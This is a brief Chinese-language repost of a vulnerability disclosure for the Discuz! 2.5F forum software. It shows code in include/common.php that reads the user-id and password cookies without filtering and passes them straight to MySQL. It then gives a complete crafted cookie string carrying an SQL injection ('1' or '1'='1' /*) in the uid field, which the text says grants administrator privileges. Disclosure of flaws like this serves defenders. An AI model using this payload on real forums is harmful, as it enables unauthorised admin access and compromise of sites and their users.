[转载]Discuz! 2.5F cookie未过滤漏洞
漏洞提供：火狐技术联盟－我非我 [[url]www.wrsky.com[/url]]漏洞说明：
Discuz! 2.5F新版论坛 COOKIE未过滤 通过本地构造可获取管理员权限
具体描述：
文件include\common.php中87行
=================================code begin==========================================================
$discuz_uid = $_COOKIE['_discuz_uid']; //这里没有进行过滤检测
$discuz_pw = $_COOKIE['_discuz_pw'];

//这里直接就放入mysql执行了..

本地cookie构造方式：
sid=dAgM7P; _cookietime=2592000; expand_menu=0__3; _discuz_uid=1' or '1'='1' /*; _discuz_pw=wofeiwo; _discuz_secques=hehe
